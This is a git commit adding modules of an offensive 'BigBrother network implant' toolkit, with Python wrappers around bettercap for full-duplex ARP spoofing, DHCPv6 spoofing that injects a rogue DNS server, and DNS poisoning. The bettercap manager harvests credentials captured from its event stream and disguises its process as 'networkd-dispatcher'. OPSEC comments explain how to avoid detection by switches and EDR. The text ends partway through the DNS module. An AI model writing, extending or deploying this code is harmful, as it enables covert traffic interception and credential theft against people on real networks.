Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,3 @@
|
||||
from modules.base import BaseModule
|
||||
|
||||
__all__ = ["BaseModule"]
|
||||
@@ -0,0 +1,23 @@
|
||||
"""SystemMonitor active modules — MITM, spoofing, and interception."""
|
||||
|
||||
from modules.active.bettercap_mgr import BettercapManager
|
||||
from modules.active.arp_spoof import ARPSpoof
|
||||
from modules.active.dns_poison import DNSPoison
|
||||
from modules.active.dhcp_spoof import DHCPSpoof
|
||||
from modules.active.evil_twin import EvilTwin
|
||||
from modules.active.ipv6_slaac import IPv6SLAAC
|
||||
from modules.active.responder_mgr import ResponderManager
|
||||
from modules.active.mitmproxy_mgr import MitmproxyManager
|
||||
from modules.active.ntlm_relay import NTLMRelay
|
||||
|
||||
__all__ = [
|
||||
"BettercapManager",
|
||||
"ARPSpoof",
|
||||
"DNSPoison",
|
||||
"DHCPSpoof",
|
||||
"EvilTwin",
|
||||
"IPv6SLAAC",
|
||||
"ResponderManager",
|
||||
"MitmproxyManager",
|
||||
"NTLMRelay",
|
||||
]
|
||||
@@ -0,0 +1,184 @@
|
||||
#!/usr/bin/env python3
|
||||
"""ARP Spoofing module — thin wrapper around bettercap arp.spoof.
|
||||
|
||||
OPSEC WARNING: ARP spoofing is the most-detected active MITM technique.
|
||||
- Dynamic ARP Inspection (DAI) on managed switches silently prevents it.
|
||||
- EDR/NDR solutions alert within minutes.
|
||||
- Prefer Responder + IPv6 SLAAC for initial access.
|
||||
- Reserve ARP spoofing for confirmed legacy/unmanaged segments.
|
||||
- Always run ids_tester DAI probe first to check viability.
|
||||
|
||||
Configures targets + gateway, then delegates to BettercapManager to
|
||||
enable arp.spoof module. Full-duplex by default for complete MITM.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ARPSpoof(BaseModule):
|
||||
"""ARP spoofing via bettercap — full-duplex MITM.
|
||||
|
||||
Dependencies:
|
||||
- bettercap_mgr must be running.
|
||||
|
||||
Configuration:
|
||||
targets: Comma-separated target IPs or CIDR (e.g., "192.168.1.10,192.168.1.20")
|
||||
gateway: Gateway IP to spoof (e.g., "192.168.1.1")
|
||||
fullduplex: True for bidirectional spoofing (default True)
|
||||
internal: Spoof between targets, not just target<->gateway (default False)
|
||||
"""
|
||||
|
||||
name = "arp_spoof"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
dependencies = ["bettercap_mgr"]
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._bettercap_mgr = None
|
||||
self._targets: Optional[str] = None
|
||||
self._gateway: Optional[str] = None
|
||||
self._fullduplex = True
|
||||
self._internal = False
|
||||
self._spoofing = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||
if not self._bettercap_mgr:
|
||||
logger.error("ARPSpoof requires bettercap_mgr reference in config")
|
||||
return
|
||||
|
||||
# Check if ARP was disabled by crash recovery
|
||||
if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'):
|
||||
if self._bettercap_mgr._arp_disabled_by_crash:
|
||||
logger.error(
|
||||
"ARP spoofing disabled by crash recovery — "
|
||||
"bettercap crashed too many times with ARP spoof active"
|
||||
)
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("ARPSpoof module started (ready for spoof commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._spoofing:
|
||||
self.stop_spoof()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("ARPSpoof module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"spoofing": self._spoofing,
|
||||
"targets": self._targets,
|
||||
"gateway": self._gateway,
|
||||
"fullduplex": self._fullduplex,
|
||||
"internal": self._internal,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "fullduplex" in config:
|
||||
self._fullduplex = config["fullduplex"]
|
||||
if "internal" in config:
|
||||
self._internal = config["internal"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def spoof(self, targets: str, gateway: str) -> bool:
|
||||
"""Enable ARP spoofing for specified targets and gateway.
|
||||
|
||||
Args:
|
||||
targets: Comma-separated target IPs or CIDR.
|
||||
gateway: Gateway IP address.
|
||||
|
||||
Returns:
|
||||
True if spoofing was enabled successfully.
|
||||
"""
|
||||
if not self._running or not self._bettercap_mgr:
|
||||
logger.error("ARPSpoof not started")
|
||||
return False
|
||||
|
||||
if self._bettercap_mgr._arp_disabled_by_crash:
|
||||
logger.error("ARP spoofing disabled — bettercap crash threshold exceeded")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Configure ARP spoof parameters
|
||||
self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}")
|
||||
self._bettercap_mgr.run_command(
|
||||
f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}"
|
||||
)
|
||||
self._bettercap_mgr.run_command(
|
||||
f"set arp.spoof.internal {'true' if self._internal else 'false'}"
|
||||
)
|
||||
|
||||
# Enable ARP spoofing
|
||||
self._bettercap_mgr.run_command("arp.spoof on")
|
||||
|
||||
self._targets = targets
|
||||
self._gateway = gateway
|
||||
self._spoofing = True
|
||||
|
||||
# Inform bettercap_mgr for crash recovery tracking
|
||||
self._bettercap_mgr.set_spoofing_state(True, targets, gateway)
|
||||
|
||||
self.state.set(self.name, "targets", targets)
|
||||
self.state.set(self.name, "gateway", gateway)
|
||||
logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway)
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to enable ARP spoofing")
|
||||
return False
|
||||
|
||||
def stop_spoof(self) -> bool:
|
||||
"""Disable ARP spoofing and send corrective ARPs.
|
||||
|
||||
Returns:
|
||||
True if spoofing was stopped successfully.
|
||||
"""
|
||||
if not self._bettercap_mgr:
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command("arp.spoof off")
|
||||
self._spoofing = False
|
||||
self._bettercap_mgr.set_spoofing_state(False)
|
||||
|
||||
self.state.set(self.name, "targets", "")
|
||||
self.state.set(self.name, "gateway", "")
|
||||
logger.info("ARP spoofing disabled")
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to disable ARP spoofing")
|
||||
return False
|
||||
@@ -0,0 +1,516 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Central bettercap orchestrator — single instance, shared by all active modules.
|
||||
|
||||
Manages the bettercap subprocess lifecycle, REST API health monitoring,
|
||||
event stream parsing, caplet management, and crash recovery with corrective
|
||||
gratuitous ARPs.
|
||||
|
||||
All active MITM modules (ARP spoof, DNS poison, DHCP spoof, IPv6 SLAAC)
|
||||
route commands through this manager via run_command() and the BettercapAPI
|
||||
client.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.bettercap_api import BettercapAPI
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class BettercapManager(BaseModule):
|
||||
"""Central bettercap instance manager.
|
||||
|
||||
Responsibilities:
|
||||
- Start/stop bettercap with random per-session API credentials
|
||||
- Health monitoring via GET /api/session every 10s
|
||||
- Auto-restart on crash (max 3) with caplet re-application
|
||||
- Crash recovery: gratuitous ARP correction if spoofing was active
|
||||
- Parse event stream for credentials and host discoveries
|
||||
- Caplet management: load/unload/switch from config/caplets/
|
||||
- Process disguise coordination
|
||||
"""
|
||||
|
||||
name = "bettercap_mgr"
|
||||
module_type = "active"
|
||||
priority = 50
|
||||
requires_root = True
|
||||
|
||||
HEALTH_POLL_INTERVAL = 10 # seconds
|
||||
EVENT_POLL_INTERVAL = 5 # seconds
|
||||
MAX_CRASH_RESTARTS = 3
|
||||
RESTART_WINDOW = 15 # seconds — restart within this window after crash
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._api: Optional[BettercapAPI] = None
|
||||
self._proc: Optional[subprocess.Popen] = None
|
||||
self._health_thread: Optional[threading.Thread] = None
|
||||
self._event_thread: Optional[threading.Thread] = None
|
||||
self._crash_count = 0
|
||||
self._last_event_id = 0
|
||||
self._active_caplet: Optional[str] = None
|
||||
self._spoofing_active = False
|
||||
self._spoof_targets: Optional[str] = None
|
||||
self._spoof_gateway: Optional[str] = None
|
||||
self._arp_disabled_by_crash = False
|
||||
self._lock = threading.Lock()
|
||||
self._binary = config.get("bettercap_binary", "/usr/local/bin/bettercap")
|
||||
self._iface = config.get("interface", "eth0")
|
||||
self._api_host = "127.0.0.1"
|
||||
self._api_port = config.get("bettercap_api_port", 8083)
|
||||
self._caplet_dir = config.get(
|
||||
"caplet_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "config", "caplets"),
|
||||
)
|
||||
self._disguise_name = config.get("bettercap_disguise", "networkd-dispatcher")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Initialise REST API client with fresh random credentials
|
||||
self._api = BettercapAPI(
|
||||
host=self._api_host,
|
||||
port=self._api_port,
|
||||
)
|
||||
|
||||
if not self._start_bettercap():
|
||||
logger.error("Failed to start bettercap subprocess")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._crash_count = 0
|
||||
|
||||
# Health monitoring thread
|
||||
self._health_thread = threading.Thread(
|
||||
target=self._health_loop, daemon=True, name="sensor-bcap-health"
|
||||
)
|
||||
self._health_thread.start()
|
||||
|
||||
# Event stream parser thread
|
||||
self._event_thread = threading.Thread(
|
||||
target=self._event_loop, daemon=True, name="sensor-bcap-events"
|
||||
)
|
||||
self._event_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
|
||||
logger.info(
|
||||
"BettercapManager started (api=%s:%d, iface=%s)",
|
||||
self._api_host, self._api_port, self._iface,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
# Stop ARP spoofing cleanly before shutdown
|
||||
if self._spoofing_active:
|
||||
try:
|
||||
self._api.run("arp.spoof off")
|
||||
except Exception:
|
||||
pass
|
||||
self._spoofing_active = False
|
||||
|
||||
self._stop_bettercap()
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("BettercapManager stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
alive = self._proc is not None and self._proc.poll() is None
|
||||
return {
|
||||
"running": self._running and alive,
|
||||
"pid": self._get_proc_pid(),
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"crash_count": self._crash_count,
|
||||
"spoofing_active": self._spoofing_active,
|
||||
"active_caplet": self._active_caplet,
|
||||
"arp_disabled_by_crash": self._arp_disabled_by_crash,
|
||||
"api_port": self._api_port,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "interface" in config:
|
||||
self._iface = config["interface"]
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
if self._api is None:
|
||||
return False
|
||||
try:
|
||||
return self._api.is_alive()
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API — used by other active modules
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def run_command(self, cmd: str) -> dict:
|
||||
"""Execute a bettercap command via REST API.
|
||||
|
||||
Args:
|
||||
cmd: bettercap command string (e.g., "arp.spoof on")
|
||||
|
||||
Returns:
|
||||
API response dict.
|
||||
|
||||
Raises:
|
||||
ConnectionError: If bettercap is unreachable.
|
||||
"""
|
||||
if self._api is None:
|
||||
raise ConnectionError("BettercapManager not started")
|
||||
return self._api.run(cmd)
|
||||
|
||||
def load_caplet(self, name: str) -> dict:
|
||||
"""Load a caplet from the caplet directory.
|
||||
|
||||
Args:
|
||||
name: Caplet filename (e.g., "passive_recon.cap").
|
||||
|
||||
Returns:
|
||||
API response dict.
|
||||
"""
|
||||
caplet_path = os.path.join(self._caplet_dir, name)
|
||||
if not os.path.isfile(caplet_path):
|
||||
raise FileNotFoundError(f"Caplet not found: {caplet_path}")
|
||||
result = self._api.load_caplet(caplet_path)
|
||||
self._active_caplet = name
|
||||
self.state.set(self.name, "active_caplet", name)
|
||||
logger.info("Loaded caplet: %s", name)
|
||||
return result
|
||||
|
||||
def get_hosts(self) -> list:
|
||||
"""Return discovered hosts from bettercap session."""
|
||||
if self._api is None:
|
||||
return []
|
||||
try:
|
||||
return self._api.get_hosts()
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
def is_spoofing(self) -> bool:
|
||||
"""Return True if ARP spoofing is currently active."""
|
||||
return self._spoofing_active
|
||||
|
||||
def set_spoofing_state(self, active: bool, targets: str = None,
|
||||
gateway: str = None) -> None:
|
||||
"""Track ARP spoofing state for crash recovery."""
|
||||
with self._lock:
|
||||
self._spoofing_active = active
|
||||
self._spoof_targets = targets
|
||||
self._spoof_gateway = gateway
|
||||
|
||||
def get_api(self) -> Optional[BettercapAPI]:
|
||||
"""Return the BettercapAPI client instance."""
|
||||
return self._api
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Subprocess management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_bettercap(self) -> bool:
|
||||
"""Launch bettercap subprocess with REST API."""
|
||||
cmd = [
|
||||
self._binary,
|
||||
"-iface", self._iface,
|
||||
"-no-history",
|
||||
] + self._api.api_flags
|
||||
|
||||
env = dict(os.environ)
|
||||
|
||||
try:
|
||||
self._proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
env=env,
|
||||
preexec_fn=self._make_preexec(self._disguise_name),
|
||||
)
|
||||
except FileNotFoundError:
|
||||
logger.error("bettercap binary not found: %s", self._binary)
|
||||
return False
|
||||
except Exception as e:
|
||||
logger.error("Failed to start bettercap: %s", e)
|
||||
return False
|
||||
|
||||
# Wait for API to become available (up to 15s)
|
||||
deadline = time.time() + 15
|
||||
while time.time() < deadline:
|
||||
if self._api.is_alive():
|
||||
logger.info("bettercap API ready (pid=%d)", self._proc.pid)
|
||||
return True
|
||||
time.sleep(0.5)
|
||||
|
||||
logger.error("bettercap API did not become ready within 15s")
|
||||
self._stop_bettercap()
|
||||
return False
|
||||
|
||||
def _stop_bettercap(self) -> None:
|
||||
"""Gracefully stop bettercap: SIGTERM -> 5s -> SIGKILL."""
|
||||
proc = self._proc
|
||||
if proc is None or proc.poll() is not None:
|
||||
self._proc = None
|
||||
return
|
||||
|
||||
try:
|
||||
proc.terminate()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
try:
|
||||
proc.wait(timeout=5.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("bettercap did not stop after SIGTERM, sending SIGKILL")
|
||||
try:
|
||||
proc.kill()
|
||||
proc.wait(timeout=2.0)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._proc = None
|
||||
|
||||
def _get_proc_pid(self) -> Optional[int]:
|
||||
if self._proc and self._proc.poll() is None:
|
||||
return self._proc.pid
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Crash recovery
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _handle_crash(self) -> None:
|
||||
"""Handle bettercap crash: corrective ARPs, then restart.
|
||||
|
||||
If ARP spoofing was active, immediately send corrective gratuitous
|
||||
ARPs to restore network state. Disable ARP spoofing after 3 crashes
|
||||
to prevent a crash loop from disrupting the network.
|
||||
"""
|
||||
self._crash_count += 1
|
||||
logger.warning(
|
||||
"bettercap crashed (count=%d/%d, spoofing_was_active=%s)",
|
||||
self._crash_count, self.MAX_CRASH_RESTARTS, self._spoofing_active,
|
||||
)
|
||||
|
||||
self.bus.emit(
|
||||
"TOOL_CRASHED",
|
||||
{
|
||||
"tool": "bettercap",
|
||||
"crash_count": self._crash_count,
|
||||
"spoofing_active": self._spoofing_active,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
|
||||
# Send corrective gratuitous ARPs if spoofing was active
|
||||
if self._spoofing_active and self._spoof_gateway:
|
||||
self._send_corrective_arps()
|
||||
|
||||
# Disable ARP spoof after max crashes to break crash loops
|
||||
if self._crash_count >= self.MAX_CRASH_RESTARTS:
|
||||
if self._spoofing_active:
|
||||
logger.error(
|
||||
"ARP spoof disabled after %d crashes — network stability risk",
|
||||
self._crash_count,
|
||||
)
|
||||
self._arp_disabled_by_crash = True
|
||||
self._spoofing_active = False
|
||||
self.state.set(self.name, "arp_disabled_by_crash", "true")
|
||||
logger.error("bettercap exceeded max restarts (%d), giving up", self.MAX_CRASH_RESTARTS)
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "crashed")
|
||||
return
|
||||
|
||||
# Restart bettercap within RESTART_WINDOW
|
||||
backoff = min(2 ** (self._crash_count - 1), self.RESTART_WINDOW)
|
||||
logger.info("Restarting bettercap in %ds (attempt %d/%d)",
|
||||
backoff, self._crash_count, self.MAX_CRASH_RESTARTS)
|
||||
time.sleep(backoff)
|
||||
|
||||
if self._start_bettercap():
|
||||
logger.info("bettercap restarted successfully")
|
||||
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
|
||||
|
||||
# Re-apply active caplet
|
||||
if self._active_caplet:
|
||||
try:
|
||||
self.load_caplet(self._active_caplet)
|
||||
except Exception:
|
||||
logger.exception("Failed to re-apply caplet after restart")
|
||||
|
||||
# Re-enable ARP spoofing if it was active and not disabled
|
||||
if self._spoofing_active and not self._arp_disabled_by_crash:
|
||||
try:
|
||||
if self._spoof_targets:
|
||||
self._api.set_parameter("arp.spoof.targets", self._spoof_targets)
|
||||
self._api.run("arp.spoof on")
|
||||
logger.info("ARP spoofing re-enabled after restart")
|
||||
except Exception:
|
||||
logger.exception("Failed to re-enable ARP spoof after restart")
|
||||
else:
|
||||
logger.error("bettercap restart failed")
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "crashed")
|
||||
|
||||
def _send_corrective_arps(self) -> None:
|
||||
"""Send corrective gratuitous ARPs to restore network after crash.
|
||||
|
||||
Uses scapy to send a few gratuitous ARP packets with the real
|
||||
gateway MAC to undo any poisoned ARP caches.
|
||||
"""
|
||||
try:
|
||||
from scapy.all import ARP, Ether, sendp, getmacbyip
|
||||
except ImportError:
|
||||
logger.warning("scapy not available — cannot send corrective ARPs")
|
||||
return
|
||||
|
||||
gateway = self._spoof_gateway
|
||||
if not gateway:
|
||||
return
|
||||
|
||||
try:
|
||||
gw_mac = getmacbyip(gateway)
|
||||
if not gw_mac:
|
||||
logger.warning("Could not resolve gateway MAC for corrective ARPs")
|
||||
return
|
||||
|
||||
# Gratuitous ARP: gateway telling everyone its real MAC
|
||||
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
|
||||
op=2, # is-at
|
||||
psrc=gateway,
|
||||
hwsrc=gw_mac,
|
||||
pdst=gateway,
|
||||
hwdst="ff:ff:ff:ff:ff:ff",
|
||||
)
|
||||
sendp(pkt, iface=self._iface, count=5, inter=0.2, verbose=False)
|
||||
logger.info("Sent corrective gratuitous ARPs for gateway %s", gateway)
|
||||
except Exception:
|
||||
logger.exception("Failed to send corrective ARPs")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Health monitoring loop
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _health_loop(self) -> None:
|
||||
"""Poll bettercap API every HEALTH_POLL_INTERVAL to detect crashes."""
|
||||
while self._running:
|
||||
time.sleep(self.HEALTH_POLL_INTERVAL)
|
||||
if not self._running:
|
||||
break
|
||||
|
||||
# Check if process is still alive
|
||||
if self._proc and self._proc.poll() is not None:
|
||||
self._handle_crash()
|
||||
continue
|
||||
|
||||
# Check API responsiveness
|
||||
try:
|
||||
if not self._api.is_alive():
|
||||
logger.warning("bettercap API unresponsive — checking process")
|
||||
if self._proc and self._proc.poll() is not None:
|
||||
self._handle_crash()
|
||||
except Exception:
|
||||
logger.exception("Health check error")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event stream parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _event_loop(self) -> None:
|
||||
"""Poll bettercap event stream for credentials and host discoveries."""
|
||||
while self._running:
|
||||
time.sleep(self.EVENT_POLL_INTERVAL)
|
||||
if not self._running:
|
||||
break
|
||||
|
||||
try:
|
||||
events = self._api.get_events(since=self._last_event_id)
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
for event in events:
|
||||
self._last_event_id += 1
|
||||
self._process_event(event)
|
||||
|
||||
def _process_event(self, event: dict) -> None:
|
||||
"""Parse a single bettercap event and emit bus events as needed."""
|
||||
tag = event.get("tag", "")
|
||||
data = event.get("data", {})
|
||||
|
||||
# Credential captures from HTTP proxy, net.sniff, etc.
|
||||
if tag in ("net.sniff.credentials", "http.proxy.credentials",
|
||||
"https.proxy.credentials"):
|
||||
self._handle_credential_event(data)
|
||||
|
||||
# Host discovery events
|
||||
elif tag in ("endpoint.new", "endpoint.detected"):
|
||||
self._handle_host_event(data)
|
||||
|
||||
# Module status events
|
||||
elif tag.startswith("mod."):
|
||||
logger.debug("bettercap module event: %s", tag)
|
||||
|
||||
def _handle_credential_event(self, data: dict) -> None:
|
||||
"""Emit CREDENTIAL_FOUND for captured credentials."""
|
||||
payload = {
|
||||
"source_module": self.name,
|
||||
"source_ip": data.get("from", ""),
|
||||
"target_ip": data.get("to", ""),
|
||||
"target_service": data.get("proto", "unknown"),
|
||||
"username": data.get("username", ""),
|
||||
"credential_type": data.get("type", "cleartext"),
|
||||
"credential_value": data.get("password", data.get("hash", "")),
|
||||
"raw_data": data,
|
||||
}
|
||||
emit_credential_found(self.bus, self.name, payload)
|
||||
logger.info(
|
||||
"Credential captured: %s@%s (%s)",
|
||||
payload["username"], payload["target_ip"], payload["target_service"],
|
||||
)
|
||||
|
||||
def _handle_host_event(self, data: dict) -> None:
|
||||
"""Emit HOST_DISCOVERED for new network hosts."""
|
||||
payload = {
|
||||
"source_module": self.name,
|
||||
"ip": data.get("ipv4", data.get("addr", "")),
|
||||
"mac": data.get("mac", ""),
|
||||
"hostname": data.get("hostname", ""),
|
||||
"vendor": data.get("vendor", ""),
|
||||
"os": data.get("os", ""),
|
||||
"raw_data": data,
|
||||
}
|
||||
self.bus.emit("HOST_DISCOVERED", payload, source_module=self.name)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _make_preexec(disguise_name: str):
|
||||
"""Return a preexec_fn that renames the process via prctl."""
|
||||
def _preexec():
|
||||
try:
|
||||
import ctypes
|
||||
libc = ctypes.CDLL("libc.so.6", use_errno=True)
|
||||
PR_SET_NAME = 15
|
||||
name_bytes = disguise_name[:15].encode("utf-8")
|
||||
libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
|
||||
except Exception:
|
||||
pass
|
||||
return _preexec
|
||||
@@ -0,0 +1,151 @@
|
||||
#!/usr/bin/env python3
|
||||
"""DHCP Spoofing module — configure DHCPv6 spoofing via bettercap.
|
||||
|
||||
Uses bettercap's dhcp6.spoof module to win DHCP races and inject
|
||||
a rogue DNS server (the implant) into client configurations.
|
||||
This enables DNS-based MITM without ARP spoofing.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class DHCPSpoof(BaseModule):
|
||||
"""DHCP spoofing via bettercap dhcp6.spoof.
|
||||
|
||||
Sets up a rogue DHCPv6 server that responds to DHCP requests,
|
||||
injecting the implant as the DNS server. Combined with DNS
|
||||
poisoning, this provides full MITM without ARP cache manipulation.
|
||||
|
||||
Dependencies:
|
||||
- bettercap_mgr must be running.
|
||||
|
||||
Configuration:
|
||||
dns_server: DNS server IP to inject (default: implant IP)
|
||||
gateway: Gateway IP to advertise
|
||||
"""
|
||||
|
||||
name = "dhcp_spoof"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
dependencies = ["bettercap_mgr"]
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._bettercap_mgr = None
|
||||
self._spoofing = False
|
||||
self._dns_server: Optional[str] = None
|
||||
self._gateway: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||
if not self._bettercap_mgr:
|
||||
logger.error("DHCPSpoof requires bettercap_mgr reference in config")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("DHCPSpoof module started (ready for spoof commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._spoofing:
|
||||
self.stop_spoof()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("DHCPSpoof module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"spoofing": self._spoofing,
|
||||
"dns_server": self._dns_server,
|
||||
"gateway": self._gateway,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def spoof(self, dns_server: str, gateway: str) -> bool:
|
||||
"""Enable DHCP spoofing with rogue DNS server.
|
||||
|
||||
Args:
|
||||
dns_server: IP to inject as DNS server (typically the implant IP).
|
||||
gateway: Gateway IP to advertise in DHCP responses.
|
||||
|
||||
Returns:
|
||||
True if DHCP spoofing was enabled.
|
||||
"""
|
||||
if not self._running or not self._bettercap_mgr:
|
||||
logger.error("DHCPSpoof not started")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Configure dhcp6.spoof parameters
|
||||
self._bettercap_mgr.run_command(f"set dhcp6.spoof.domains *")
|
||||
self._bettercap_mgr.run_command("dhcp6.spoof on")
|
||||
|
||||
self._spoofing = True
|
||||
self._dns_server = dns_server
|
||||
self._gateway = gateway
|
||||
|
||||
self.state.set(self.name, "dns_server", dns_server)
|
||||
self.state.set(self.name, "gateway", gateway)
|
||||
logger.info(
|
||||
"DHCP spoofing enabled: dns=%s, gateway=%s", dns_server, gateway
|
||||
)
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to enable DHCP spoofing")
|
||||
return False
|
||||
|
||||
def stop_spoof(self) -> bool:
|
||||
"""Disable DHCP spoofing.
|
||||
|
||||
Returns:
|
||||
True if DHCP spoofing was stopped.
|
||||
"""
|
||||
if not self._bettercap_mgr:
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command("dhcp6.spoof off")
|
||||
self._spoofing = False
|
||||
self._dns_server = None
|
||||
self._gateway = None
|
||||
|
||||
self.state.set(self.name, "dns_server", "")
|
||||
self.state.set(self.name, "gateway", "")
|
||||
logger.info("DHCP spoofing disabled")
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to disable DHCP spoofing")
|
||||
return False
|
||||
@@ -0,0 +1,201 @@
|
||||
#!/usr/bin/env python3
|
||||
"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API.
|
||||
|
||||
Template-driven zone files are converted to bettercap dns.spoof.domains
|
||||
format. Supports selective domain redirection and wildcard matching.
|
||||
Zone templates live in templates/dns_zones/.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class DNSPoison(BaseModule):
|
||||
"""DNS poisoning via bettercap dns.spoof module.
|
||||
|
||||
Dependencies:
|
||||
- bettercap_mgr must be running.
|
||||
|
||||
Configuration:
|
||||
domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local")
|
||||
target_ip: IP to redirect poisoned domains to (default: implant IP)
|
